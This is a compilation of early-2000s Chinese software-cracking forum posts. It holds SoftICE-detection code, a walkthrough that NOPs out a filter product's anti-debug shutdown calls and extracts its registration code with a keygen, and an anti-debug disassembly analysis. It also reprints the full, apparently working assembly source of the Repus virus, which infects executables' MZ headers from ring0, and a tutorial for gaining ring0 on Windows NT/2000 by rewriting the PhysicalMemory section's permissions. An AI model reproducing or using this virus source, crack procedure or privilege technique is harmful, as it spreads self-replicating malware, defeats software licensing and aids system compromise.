标 题:另外一种检测SOFTICE的方法，保证用的人很少 ^_^ (1千字)
发信人:- Aming -
时 间:2001-12-8 13:10:21
详细信息:

Public Sub DetectICE(xVersion As String)
On Error Resume Next
Dim x As Long
Randomize
xF = CLng(Rnd * 29999)
x = Shell("cmd.exe /c net stop " & xVersion & " > \nul 2>c:\tmp" & Trim(CStr(xF)) & ".txt", vbHide)
xTime = Timer
Do
DoEvents
If Dir$("c:\tmp" & Trim(CStr(xF)) & ".txt") <> "" Or Timer > (xTime + 3) Then
If Timer > (xTime + 3) Then
Exit Do
ElseIf FileLen("c:\tmp" & Trim(CStr(xF)) & ".txt") > 30 Then
Exit Do
End If
End If
Loop
If FileLen("c:\tmp" & Trim(CStr(xF)) & ".txt") > 30 Then
Dim xFile As String
xFile = String(FileLen("c:\tmp" & Trim(CStr(xF)) & ".txt"), 0)
Open "c:\tmp" & Trim(CStr(xF)) & ".txt" For Binary As #1
Get #1, 1, xFile
Close #1
If LCase(xVersion) = "ntice" Then
xSoft = "SoftICE-NT"
Else
xSoft = "SoftICE-9x"
End If
If InStr(1, xFile, "specified service does not exist") > 0 Then
MsgBox xSoft & " does not exist on this machine."
ElseIf InStr(1, xFile, "requested pause or stop is not valid") > 0 Then
MsgBox xSoft & " is installed AND RUNNING"
ElseIf InStr(1, xFile, "service is not started") > 0 Then
MsgBox xSoft & " is installed but not running at the moment."
Else
MsgBox "Error - unable to determine. Results:" & vbCrLf & xFile
End If
Else
MsgBox "Error - couldn't determine."
End If
Kill "c:\tmp" & Trim(CStr(xF)) & ".txt"
End Sub

用法:
On Error Resume Next ' 呵呵，我怕她出错。。。
Call DetectICE("ntice")
Call DetectICE("sice")


检测softice（delphi版）

 标 题:检测softice（delphi版），兼回答以前一位朋友函数createfile使用的提问 (1千字)
发信人:小楼
时 间:2001-10-14 21:51:53
详细信息:
 检查是否加载了Softice

This tip show, how to check if the debugging program Softice is loaded.

Dieser Tip zeigt, wie 黚erpr黤t, wird ob das debugging Programm Softice geladen
  ist.

//SoftIce in W9x OS
function IsSoftIce95Loaded: boolean;
var
hFile: Thandle;
begin
result := false;
hFile := CreateFileA('\.SICE', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if( hFile <> INVALID_HANDLE_VALUE ) then begin
CloseHandle(hFile);
result := TRUE;
end;
end;

// SoftIce in NT/2000 OS
function IsSoftIceNTLoaded: boolean;
var
hFile: Thandle;
begin
result := false;
hFile := CreateFileA('\.NTICE', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0);
if( hFile <> INVALID_HANDLE_VALUE ) then begin
CloseHandle(hFile);
result := TRUE;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if IsSoftIce95Loaded or IsSoftIceNTLoaded then
begin
//Do something if Softice is loaded
end;
end;


美萍反黄专家 版本2.41

 标 题:美萍反黄专家 版本2.41 破解实录 (9千字)
发信人:qhj
时 间:2001-10-4 17:05:11
详细信息:
           美萍反黄专家 版本2.41 破解实录
    ＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

破解时间：2001-10-2
软件简介：该软件对抗TRW、SOFTICE、WD32SM、CRACKCODE等破解工具！
破解形式：注册码
破解工具：trw(调试工具）、pw32dasm（反汇编）、hivew　（资源修改工具）
破解作者：绝密档案
作者主页：http://hongjian.126.com

具体破解过程：
                        第一部分，破解对抗
                    ＝＝＝＝＝＝＝＝＝＝＝＝＝＝
一、用FI侦测，发现它用ASPACK　V2.1加压，于是用UNASPACK解压！

二、解除发现破解工具立即关机问题！
    先运行shield.exe，它会自动检测你的硬盘是否存在以下文件，
如果存在就立即重新启动电脑！黑名单如下：
  内存中的：
  1、softice
  2、trw、
当然目录下的：
  1、CRACKCODE
  2、WDAS

  解决办法：
    1、把黑名单上的名字改名！
用EXE资源编辑工具如：Ultraedit-32等工具编辑shield.exe，用查找－>替换功能，把上
述软件的名称替换即可！如把TRW－>QHJ ;SOFTICE->QHJTICEt等！
...........}......E.^[..
]...........c:\autoexec.
bat.........WINICE......　　/// 左边的工具见到了吗？
....REM.........User32..
........TRW.........UR
Soft..U..j.S3.Uh.%G.d.0d
. 3..
................ 　　　　 ///// 左边的工具见到了吗？
...192.168.0.255........
...crackcode...........
wdasm...........softice...
============================

  2、找出关机或死机的地址：共有六处调用两个CALL！

第一处：
|:00473E99(C)
|
:00473EA4 8D45F0 lea eax, dword ptr [ebp-10]

* Possible StringData Ref from Code Obj ->"TRW"
|
:00473EA7 BA04404700 mov edx, 00474004
:00473EAC E8EFFDF8FF call 00403CA0　　　 // 这里是关机的CALL

//把E8EFFDF8FF　改为9090909090

:00473EB1 8B45F8 mov eax, dword ptr [ebp-08]
:00473EB4 8B10 mov edx, dword ptr [eax]
:00473EB6 FF5214 call [edx+14]
:00473EB9 8BD8 mov ebx, eax
:00473EBB 4B dec ebx
:00473EBC 85DB test ebx, ebx
:00473EBE 7C50 jl 00473F10
:00473EC0 43 inc ebx
:00473EC1 C745F400000000 mov [ebp-0C], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:

第二处：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0047405E(C)
:00474073 84DB test bl, bl
:00474075 7537 jne 004740AE　　//改为EB37 可跳过关机的CALL

// 或把以下各个　CALL 00403C5CL　改为9090909090

:00474077 A1F8E44700 mov eax, dword ptr [0047E4F8]
:0047407C 833800 cmp dword ptr [eax], 00000000
:0047407F 752D jne 004740AE
* Possible StringData Ref from Data Obj ->"]G"
:00474081 A1ECE44700 mov eax, dword ptr [0047E4EC]
* Possible StringData Ref from Code Obj ->"softice"
:00474086 BAF0404700 mov edx, 004740F0
:0047408B E8CCFBF8FF call 00403C5C //关机的CALL
* Possible StringData Ref from Data Obj ->"(]G"
:00474090 A124E54700 mov eax, dword ptr [0047E524]
* Possible StringData Ref from Code Obj ->"trw"
:00474095 BA00414700 mov edx, 00474100
:0047409A E8BDFBF8FF call 00403C5C　　 //关机的CALL
* Possible StringData Ref from Data Obj ->"8]G"
:0047409F A18CE34700 mov eax, dword ptr [0047E38C]
* Possible StringData Ref from Code Obj ->"winice"
:004740A4 BA0C414700 mov edx, 0047410C
:004740A9 E8AEFBF8FF call 00403C5C　　 //关机的CALL

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00474075(C), :0047407F(C)
:004740AE 33C0 xor eax, eax //跳到这里可免关机啦！

第三处：
* Possible StringData Ref from Code Obj ->"c:\autoexec.bat"
|
:00473DC7 BAC03F4700 mov edx, 00473FC0
:00473DCC E8CFFEF8FF call 00403CA0 //否则关机无商量！

// 把 E8ABFEF8FF　改为：9090909090

:00473DD1 8B45F0 mov eax, dword ptr [ebp-10]
:00473DD4 E85F4DF9FF call 00408B38
:00473DD9 84C0 test al, al
:00473DDB 740B je 00473DE8
:00473DDD 8B55F0 mov edx, dword ptr [ebp-10]
:00473DE0 8B45F8 mov eax, dword ptr [ebp-08]
:00473DE3 8B08 mov ecx, dword ptr [eax]
:00473DE5 FF5158 call [ecx+58]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00473DDB(C)
|
:00473DE8 8D45F0 lea eax, dword ptr [ebp-10]

* Possible StringData Ref from Code Obj ->"WINICE"　　在批处理文件里也不能有WINICE字样！
|
:00473DEB BAD83F4700 mov edx, 00473FD8
:00473DF0 E8ABFEF8FF call 00403CA0　　//否则关机无商量！
:00473DF5 8B45F8 mov eax, dword ptr [ebp-08]

//　把E8EFFDF8FF　改为9090909090

:00473DF8 8B10 mov edx, dword ptr [eax]
:00473DFA FF5214 call [edx+14]
:00473DFD 8BD8 mov ebx, eax
:00473DFF 4B dec ebx
:00473E00 85DB test ebx, ebx
:00473E02 7C38 jl 00473E3C
:00473E04 43 inc ebx
:00473E05 C745F400000000 mov [ebp-0C], 00000000

第四处：
* Possible StringData Ref from Code Obj ->"WINICE" // 在内存中不能有此，否则虽不关机也死机！
|
:00473DEB BAD83F4700 mov edx, 00473FD8
:00473DF0 E8ABFEF8FF call 00403CA0

// 把 E8ABFEF8FF　改为：9090909090

:00473DF5 8B45F8 mov eax, dword ptr [ebp-08]
:00473DF8 8B10 mov edx, dword ptr [eax]
:00473DFA FF5214 call [edx+14]
:00473DFD 8BD8 mov ebx, eax
:00473DFF 4B dec ebx
:00473E00 85DB test ebx, ebx
:00473E02 7C38 jl 00473E3C
:00473E04 43 inc ebx
:00473E05 C745F400000000 mov [ebp-0C], 00000000

第五处：
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00473FF7(C)
|
:0047402C 33DB xor ebx, ebx
:0047402E 8D45FC lea eax, dword ptr [ebp-04]

* Possible StringData Ref from Code Obj ->"\\.\SICE" //否则关机无商量！

:00474031 BADC404700 mov edx, 004740DC
:00474036 E865FCF8FF call 00403CA0

//　把E8EFFDF8FF　改为9090909090

:0047403B 6A00 push 00000000
:0047403D 6880000000 push 00000080
:00474042 6A03 push 00000003
:00474044 6A00 push 00000000
:00474046 6A03 push 00000003
:00474048 68000000C0 push C0000000
:0047404D 8B45FC mov eax, dword ptr [ebp-04]
:00474050 E8F7FFF8FF call 0040404C
:00474055 50 push eax

第六处：
* Possible StringData Ref from Code Obj ->"\\.\NTICE" //否则关机无商量！
|
:0047412D BA90414700 mov edx, 00474190
:00474132 E869FBF8FF call 00403CA0

//　把E8EFFDF8FF　改为9090909090

:00474137 6A00 push 00000000
:00474139 6880000000 push 00000080
:0047413E 6A03 push 00000003
:00474140 6A00 push 00000000
:00474142 6A03 push 00000003
:00474144 68000000C0 push C0000000
:00474149 8B45FC mov eax, dword ptr [ebp-04]
:0047414C E8FBFEF8FF call 0040404C
:00474151 50 push eax

  总结：共有关机的地址：六处调用两个CALL！
    1、 call 00403CA0
    2、 call 00403C5C
我们也可以修改以上两个CALL，完成工作！

=============================================================

第二部分，找注册码

因为其注册后要重启查证，故反汇编后，从“未注册”处查起！往上找，在其读取注册表数据之前！
为断点！具体是：

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00476D77(C)
|
:00476D86 8B153CFA4700 mov edx, dword ptr [0047FA3C]
:00476D8C A14CFA4700 mov eax, dword ptr [0047FA4C]
:00476D91 E8DED3F8FF call 00404174　　// D EDX 可见真的注册码很多位！！
:00476D96 85C0 test eax, eax
:00476D98 7E24 jle 00476DBE
:00476D9A A14CFA4700 mov eax, dword ptr [0047FA4C]
:00476D9F E8E4D0F8FF call 00403E88
:00476DA4 83F805 cmp eax, 00000005　// 只取前5位进行比较！
:00476DA7 7515 jne 00476DBE
:00476DA9 8B153CFA4700 mov edx, dword ptr [0047FA3C]
:00476DAF A14CFA4700 mov eax, dword ptr [0047FA4C]
:00476DB4 E8BBD3F8FF call 00404174
:00476DB9 A398E24700 mov dword ptr [0047E298], eax

用Keymake　1.2版本做freeRes它的注册机：

一）选择F8－另类注册机！
1、程序名称：shield.exe
2、添加数据：
    中断地址：476d91
中断次数：1
    第一字节：E8
    指令长度：5
＝＝＝＝＝＝＝＝＝
再次添加数据：
    中断地址：404174
中断次数：1
    第一字节：85
   指令长度：2
＝＝＝＝＝＝＝＝＝＝＝
二、选择内存方式　EDX
运行本注册机！一切OK！能显示40位长注册码！但只取其前5位即可！
绝密档案
http://hongjian.126.com


美萍反黄专家2.36暗桩分析

 标 题:CHiNA CrACKiNG GrOUp (12千字)
发信人:娃娃[CCG]
时 间:2001-9-12 11:01:36
详细信息:
美萍反黄专家2.36暗桩分析。
By 娃娃(NYDoll)

//最近本来比较懒 ^_^ 还有很多事要做 但是jsjyt大哥非要我写个关于美萍的反跟踪代码的破解，所以小弟只好
//一边喊着“反对暴政”，一边对jsjyt大哥面带甜美的微笑的奉上了这篇拙文 让大家见笑了 呵呵

//以下是在美萍反黄专家载入时候的暗桩代码：

:004722CA 6A00 push 00000000
:004722CC 49 dec ecx
:004722CD 75F9 jne 004722C8
:004722CF 53 push ebx
:004722D0 56 push esi
:004722D1 33C0 xor eax, eax
:004722D3 55 push ebp
:004722D4 68D6244700 push 004724D6
:004722D9 64FF30 push dword ptr fs:[eax]
:004722DC 648920 mov dword ptr fs:[eax], esp
:004722DF 33F6 xor esi, esi
:004722E1 C645FF00 mov [ebp-01], 00
:004722E5 B201 mov dl, 01

* Possible StringData Ref from Code Obj ->"DA"
|
:004722E7 A1C4F44000 mov eax, dword ptr [0040F4C4]
:004722EC E88B0BF9FF call 00402E7C
:004722F1 8945F8 mov dword ptr [ebp-08], eax
:004722F4 8D45F0 lea eax, dword ptr [ebp-10]

* Possible StringData Ref from Code Obj ->"c:\autoexec.bat" //打开C盘根目录下的AUTOEXEC.BAT文件，对DOS稍微熟悉的朋友都知道，在DOS的时代这是一个很重要的文件，基本上所有要在启动时运行的程序都要通过这里载入系统，而且在Win时代通过这个文件载入的程序通常优先级都很高 一般都为杀毒软件之类的常驻内存的程序，我们可爱的SoFTICE也是通过这里载入内存的
|
:004722F7 BAF0244700 mov edx, 004724F0
:004722FC E88F19F9FF call 00403C90
:00472301 8B45F0 mov eax, dword ptr [ebp-10]
:00472304 E89F67F9FF call 00408AA8
:00472309 84C0 test al, al
:0047230B 740B je 00472318
:0047230D 8B55F0 mov edx, dword ptr [ebp-10]
:00472310 8B45F8 mov eax, dword ptr [ebp-08]
:00472313 8B08 mov ecx, dword ptr [eax]
:00472315 FF5158 call [ecx+58]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0047230B(C)
|
:00472318 8D45F0 lea eax, dword ptr [ebp-10]

* Possible StringData Ref from Code Obj ->"WINICE" //挨行检查是否有WinICE字样的字符出现
|
:0047231B BA08254700 mov edx, 00472508
:00472320 E86B19F9FF call 00403C90
:00472325 8B45F8 mov eax, dword ptr [ebp-08]
:00472328 8B10 mov edx, dword ptr [eax]
:0047232A FF5214 call [edx+14]
:0047232D 8BD8 mov ebx, eax
:0047232F 4B dec ebx
:00472330 85DB test ebx, ebx
:00472332 7C38 jl 0047236C
:00472334 43 inc ebx
:00472335 C745F400000000 mov [ebp-0C], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0047236A(C)
|
:0047233C 8D4DE8 lea ecx, dword ptr [ebp-18]
:0047233F 8B55F4 mov edx, dword ptr [ebp-0C]
:00472342 8B45F8 mov eax, dword ptr [ebp-08]
:00472345 8B30 mov esi, dword ptr [eax]
:00472347 FF560C call [esi+0C]
:0047234A 8B45E8 mov eax, dword ptr [ebp-18]
:0047234D 8D55EC lea edx, dword ptr [ebp-14]
:00472350 E8CB61F9FF call 00408520
:00472355 8B55EC mov edx, dword ptr [ebp-14]
:00472358 8B45F0 mov eax, dword ptr [ebp-10]
:0047235B E8041EF9FF call 00404164
:00472360 8BF0 mov esi, eax
:00472362 85F6 test esi, esi
:00472364 7506 jne 0047236C
:00472366 FF45F4 inc [ebp-0C]
:00472369 4B dec ebx
:0047236A 75D0 jne 0047233C

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00472332(C), :00472364(C)
|
:0047236C 85F6 test esi, esi
:0047236E 7442 je 004723B2
:00472370 8D4DE0 lea ecx, dword ptr [ebp-20]
:00472373 8B55F4 mov edx, dword ptr [ebp-0C]
:00472376 8B45F8 mov eax, dword ptr [ebp-08]
:00472379 8B18 mov ebx, dword ptr [eax]
:0047237B FF530C call [ebx+0C]
:0047237E 8B45E0 mov eax, dword ptr [ebp-20]
:00472381 8D55E4 lea edx, dword ptr [ebp-1C]
:00472384 E89761F9FF call 00408520
:00472389 8B55E4 mov edx, dword ptr [ebp-1C]

* Possible StringData Ref from Code Obj ->"REM" /检查这个加载SOFTICE的语句前是否有注释关键字“REM”
|
:0047238C B818254700 mov eax, 00472518
:00472391 E8CE1DF9FF call 00404164
:00472396 85C0 test eax, eax
:00472398 7518 jne 004723B2
:0047239A C645FF01 mov [ebp-01], 01

* Possible StringData Ref from Data Obj ->"DBG"
|
:0047239E A184C44700 mov eax, dword ptr [0047C484]

* Possible StringData Ref from Code Obj ->"User32"
|
:004723A3 BA24254700 mov edx, 00472524
:004723A8 E89F18F9FF call 00403C4C
:004723AD E909010000 jmp 004724BB

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0047236E(C), :00472398(C)
|
:004723B2 8B45F8 mov eax, dword ptr [ebp-08]
:004723B5 8B10 mov edx, dword ptr [eax]
:004723B7 FF5240 call [edx+40]
:004723BA E845FEFFFF call 00472204
:004723BF 8945F8 mov dword ptr [ebp-08], eax
:004723C2 E87D020000 call 00472644
:004723C7 84C0 test al, al //标志位 非0就关机！
:004723C9 7409 je 004723D4 //如果发现没有载入SoftICE的指令则跳到下面检查TRW
:004723CB 6A00 push 00000000
:004723CD 6A05 push 00000005

* Reference To: user32.ExitWindowsEx, Ord:0000h //熟悉吧 ^_^ 这个就是美萍调用的关机的函数
|
:004723CF E8D04BF9FF Call 00406FA4

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004723C9(C)
|
:004723D4 8D45F0 lea eax, dword ptr [ebp-10]

* Possible StringData Ref from Code Obj ->"TRW" //将“TRW”字符串载入寄存器中
|
:004723D7 BA34254700 mov edx, 00472534 //获得窗口数目
:004723DC E8AF18F9FF call 00403C90
:004723E1 8B45F8 mov eax, dword ptr [ebp-08] //循环获得窗口的32位整数型句柄
:004723E4 8B10 mov edx, dword ptr [eax]
:004723E6 FF5214 call [edx+14]
:004723E9 8BD8 mov ebx, eax
:004723EB 4B dec ebx
:004723EC 85DB test ebx, ebx
:004723EE 7C50 jl 00472440 //是否循环完，若循环完成则到下面判断标志位
:004723F0 43 inc ebx
:004723F1 C745F400000000 mov [ebp-0C], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0047243E(C)
|
:004723F8 8D4DD8 lea ecx, dword ptr [ebp-28] ——————\
:004723FB 8B55F4 mov edx, dword ptr [ebp-0C] \
:004723FE 8B45F8 mov eax, dword ptr [ebp-08] \
:00472401 8B30 mov esi, dword ptr [eax] \
:00472403 FF560C call [esi+0C] \
:00472406 8B45D8 mov eax, dword ptr [ebp-28] \
:00472409 8D55DC lea edx, dword ptr [ebp-24] | 循环对比所获得的窗口句柄是否有含有TRW字样的出现！
:0047240C E80F61F9FF call 00408520 |
:00472411 8B55DC mov edx, dword ptr [ebp-24] /
:00472414 8B45F0 mov eax, dword ptr [ebp-10] /
:00472417 E8481DF9FF call 00404164 /
:0047241C 8BF0 mov esi, eax /
:0047241E 85F6 test esi, esi /
:00472420 7418 je 0047243A ——————————————/
:00472422 C645FF01 mov [ebp-01], 01

* Possible StringData Ref from Data Obj ->"DBG"
|
:00472426 A184C44700 mov eax, dword ptr [0047C484]

* Possible StringData Ref from Code Obj ->"User32"
|
:0047242B BA24254700 mov edx, 00472524
:00472430 E81718F9FF call 00403C4C
:00472435 E981000000 jmp 004724BB

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00472420(C)
|
:0047243A FF45F4 inc [ebp-0C]
:0047243D 4B dec ebx
:0047243E 75B8 jne 004723F8 //循环检查完后，将检查标志位

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004723EE(C)
|
:00472440 E803010000 call 00472548
:00472445 84C0 test al, al //AL为标志位，非0则关机
:00472447 7409 je 00472452 //不跳就死翘翘了 呵呵
:00472449 6A00 push 00000000
:0047244B 6A05 push 00000005

* Reference To: user32.ExitWindowsEx, Ord:0000h //退出WinDows的API函数
|
:0047244D E8524BF9FF Call 00406FA4

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00472447(C)
|
:00472452 A180C64700 mov eax, dword ptr [0047C680]
:00472457 C70001000000 mov dword ptr [eax], 00000001
:0047245D 8B45F8 mov eax, dword ptr [ebp-08]
:00472460 8B10 mov edx, dword ptr [eax]
:00472462 FF5214 call [edx+14]
:00472465 8BD8 mov ebx, eax
:00472467 4B dec ebx
:00472468 85DB test ebx, ebx
:0047246A 7C4F jl 004724BB
:0047246C 43 inc ebx
:0047246D C745F400000000 mov [ebp-0C], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004724B9(C)
|
:00472474 8D4DD0 lea ecx, dword ptr [ebp-30]
:00472477 8B55F4 mov edx, dword ptr [ebp-0C]
:0047247A 8B45F8 mov eax, dword ptr [ebp-08]
:0047247D 8B30 mov esi, dword ptr [eax]
:0047247F FF560C call [esi+0C]
:00472482 8B45D0 mov eax, dword ptr [ebp-30]
:00472485 8D55D4 lea edx, dword ptr [ebp-2C]
:00472488 E89360F9FF call 00408520
:0047248D 8B55D4 mov edx, dword ptr [ebp-2C]

* Possible StringData Ref from Code Obj ->"URSoft" //与上面的相同 这个是检查是否有W32Dasm在运行的特征码
|
:00472490 B840254700 mov eax, 00472540
:00472495 E8CA1CF9FF call 00404164
:0047249A 8BF0 mov esi, eax
:0047249C 85F6 test esi, esi
:0047249E 7415 je 004724B5
:004724A0 C645FF01 mov [ebp-01], 01

* Possible StringData Ref from Data Obj ->"DBG"
|
:004724A4 A184C44700 mov eax, dword ptr [0047C484]

* Possible StringData Ref from Code Obj ->"User32"
|
:004724A9 BA24254700 mov edx, 00472524
:004724AE E89917F9FF call 00403C4C
:004724B3 EB06 jmp 004724BB

//小弟只是小鸟一只 希望各位大哥指点一二 小弟感激不尽 ^_^ 解决方法说简单也简单 说难也难 ^_^
//如果你想要暴力破解这个软件 可以脱壳后把所有TRW，SOFTICE等字样全部改成AAA，BBB什么的不相干的东西，这样就不
//关机了，但是如果你想要找出这个东西的注册码，我劝你千万不要这样做，因为只要改变了这些字符串 美萍就会算出一个
//不一样的真实的注册码来（很厉害吧），这样就算你从美萍公司买到了产品也不会注册成功，切记

//另外，这个程序还ANTI CrACKCode 只要发现目录下有这个文件立刻采取措施 呵呵 具体是什么措施你试试就知道了，
//总体来说这个东西的保护还没有网管大师成熟，还没有像它那样连REGMON FILEMON都不放过 ^_^ 大家破解的时候手下留
//情哦。

※谨以此拙文献给可爱的CCG，希望它能蒸蒸日上（JOJO老大的话 ^_^）

娃娃(NYDoll)
CHiNA CrACKiNG GrOUp


Repus virus

 标 题:我个人最喜欢的一个病毒，它的进入ring0的代码更短！ (4千字)
发信人:lllaaa[BCG]
时 间:2002-2-25 10:08:23
详细信息:
;=============;
; Repus virus ;
;=============;

;Coded by Super/29A

;VirusSize = 128 bytes !!!

;This is the third member of the Repus family

;-When an infected file is executed the virus patches IRQ0 handler and waits
; for it to return control to virus in ring0
;-Once in ring0, the virus searches in all caches a valid MZheader to infect,
; modifying EntryPoint (in PEheader) so virus can get control on execution
;-It will infect no more than one MZheader at a time per file system
;-MZheader will be overwritten, however windows executes it with no problems
; (tested under win95,win98,winNT and Win2K)
;-When executing a non infected file that imports APIs from an infected DLL,
; virus will get control on DLL inicialization and infect more MZheaders

;-------------------------------------------------------------------

.386p
.model flat,STDCALL

extrn ExitProcess : near
extrn MessageBoxA : near

;-------------------------------------------------------------------

VirusSize = (VirusEnd - VirusStart)

VCache_Enum macro
int 20h
dw 0009h
dw 048Bh
endm

;-------------------------------------------------------------------

.data

Title:
db 'Super/29A presents...',0

Text:
db 'Repus.'
db '0' + (VirusSize/100) mod 10
db '0' + (VirusSize/10) mod 10
db '0' + (VirusSize/1) mod 10
db 0

;-------------------------------------------------------------------

.code

;===================================================================

VirusStart:

db 'M' ; dec ebp

VirusEntryPoint:

db 'Z' ; pop edx

push edx
dec edx
jns JumpHost ; exit if we are running winNT

mov ebx,0C0001100h ; IRQ0 ring0 handler

mov dl,0C3h

xchg dl,[ebx] ; hook IRQ0 to get ring0

Wait_IRQ0:

cmp esp,edx
jb Wait_IRQ0

;Now we are in ring0

xchg dl,[ebx]

lea edx,[eax+(InfectCache-VirusEntryPoint)] ; EDX = infection routine

fld qword ptr [eax+(Next_FSD-VirusEntryPoint)] ; save VxD dinamic call

Next_FSD:

VCache_Enum ; enumerate all caches

inc ah
jnz Next_FSD ; try next file system

call ebx ; return control to IRQ0 and return just after the CALL

;Now we are in ring3

JumpHost:

jmp HostEntryPoint ; return control to host

;-------------------------------------------------------------------

InfectCache:

xor dl,dl ; EDX = ImageBase

mov edi,[esi+10h] ; EDI = MZheader

movzx ecx,byte ptr [edi+3Ch]

cmp byte ptr [edi+ecx],'P' ; check for PEheader
jnz _ret

Offset3B:

and eax,00000080h ; EAX = 0

xchg esi,edx ; ESI = ImageBase
; EDX = Cache Block Structure

cmpsb ; check for MZheader
jnz _ret

mov [esi-1+(Offset3B+1-VirusStart)],ecx ; save offset of PEheader

fst qword ptr [esi-1+(Next_FSD-VirusStart)] ; restore VxD dinamic call

inc eax ; EAX = 1

xchg eax,[edi-1+ecx+28h] ; set virus EntryPoint

sub eax,(JumpHost+5-VirusStart)

jb _ret ; jump if its already infected

mov cl,(VirusSize-1)

rep movsb ; copy virus to MZheader

mov [edi+(JumpHost+1-VirusEnd)],eax ; fix jump to host

;Here we are gonna find the pointer to the pending cache writes

mov ch,2
lea eax,[ecx-0Ch] ; EAX=1F4h ;-D
mov edi,[edx+0Ch] ; EDI = VRP (Volume Resource Pointer)
repnz scasd
jnz _ret ; not found :-(

; EDI = offset in VRP which contains PendingList pointer

cmp [edi],ecx ; check if there are other pending cache writes
ja _ret

cmp [edi+30h],ah ; only infect logical drives C,D,...
jbe _ret

;Now we are gonna insert this cache in the pending cache writes

or byte ptr [edx+32h],ah ; set dirty bit

mov [edx+1Ch],edx ; set PendingList->Next
mov [edx+20h],edx ; set PendingList->Previous

mov [edi],edx ; set PendingList pointer

_ret:

ret

db '29A'

VirusEnd:

;===================================================================

db 1000h dup(90h)

HostEntryPoint proc near

push 0
push offset Title
push offset Text
push 0
call MessageBoxA

push 0
call ExitProcess

HostEntryPoint endp

;===================================================================

ends
end VirusEntryPoint


Ring0代码实现

 Windows NT/2000下不用驱动的Ring0代码实现
WebCrazy(http://webcrazy.yeah.net/)

大家知道，Windows NT/2000为实现其可靠性，严格将系统划分为内核模式与用户模式，在i386系统中分别对应CPU的Ring0与Ring3级别。Ring0下，可以执行特权级指令，对任何I/O设备都有访问权等等。要实现从用户态进入核心态，即从Ring 3进入Ring 0必须借助CPU的某种门机制，如中断门、调用门等。而Windows NT/2000提供用户态执行系统服务(Ring 0例程)的此类机制即System Service的int 2eh中断服务等，严格的参数检查，只能严格的执行Windows NT/2000提供的服务，而如果想执行用户提供的Ring 0代码(指运行在Ring 0权限的代码)，常规方法似乎只有编写设备驱动程序。本文将介绍一种在用户态不借助任何驱动程序执行Ring0代码的方法。

Windows NT/2000将设备驱动程序调入内核区域(常见的位于地址0x80000000上)，由DPL为0的GDT项8，即cs为8时实现Ring 0权限。本文通过在系统中构造一个指向我们的代码的调用门(CallGate)，实现Ring0代码。基于这个思路，为实现这个目的主要是构造自己的CallGate。CallGate由系统中叫Global Descriptor Table(GDT)的全局表指定。GDT地址可由i386指令sgdt获得(sgdt不是特权级指令，普通Ring 3程序均可执行)。GDT地址在Windows NT/2000保存于KPCR(Processor Control Region)结构中(见《再谈Windows NT/2000环境切换》)。GDT中的CallGate是如下的格式：

typedef struct
{
unsigned short offset_0_15;
unsigned short selector;

unsigned char param_count : 4;
unsigned char some_bits : 4;

unsigned char type : 4;
unsigned char app_system : 1;
unsigned char dpl : 2;
unsigned char present : 1;

unsigned short offset_16_31;
} CALLGATE_DESCRIPTOR;

GDT位于内核区域，一般用户态的程序是不可能对这段内存区域有直接的访问权。幸运的是Windows NT/2000提供了一个叫PhysicalMemory的Section内核对象位于\Device的路径下。顾名思义，通过这个Section对象可以对物理内存进行操作。用objdir.exe对这个对象分析如下：

C:\NTDDK\bin>objdir /D \Device

PhysicalMemory
Section
DACL -
Ace[ 0] - Grant - 0xf001f - NT AUTHORITY\SYSTEM
Inherit:
Access: 0x001F and ( D RCtl WOwn WDacl )

Ace[ 1] - Grant - 0x2000d - BUILTIN\Administrators
Inherit:
Access: 0x000D and ( RCtl )

从dump出的这个对象DACL的Ace可以看出默认情况下只有SYSTEM用户才有对这个对象的读写权限，即对物理内存有读写能力，而Administrator只有读权限，普通用户根本就没有权限。不过如果我们有Administrator权限就可以通过GetSecurityInfo、SetEntriesInAcl与SetSecurityInfo这些API来修改这个对象的ACE。这也是我提供的代码需要Administrator的原因。实现的代码如下：

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{

PACL pDacl=NULL;
PACL pNewDacl=NULL;
PSECURITY_DESCRIPTOR pSD=NULL;
DWORD dwRes;
EXPLICIT_ACCESS ea;

if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
{
printf( "GetSecurityInfo Error %u\n", dwRes );
goto CleanUp;
}

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";

if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
{
printf( "SetEntriesInAcl %u\n", dwRes );
goto CleanUp;
}

if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
{
printf("SetSecurityInfo %u\n",dwRes);
goto CleanUp;
}

CleanUp:

if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pSD);
}

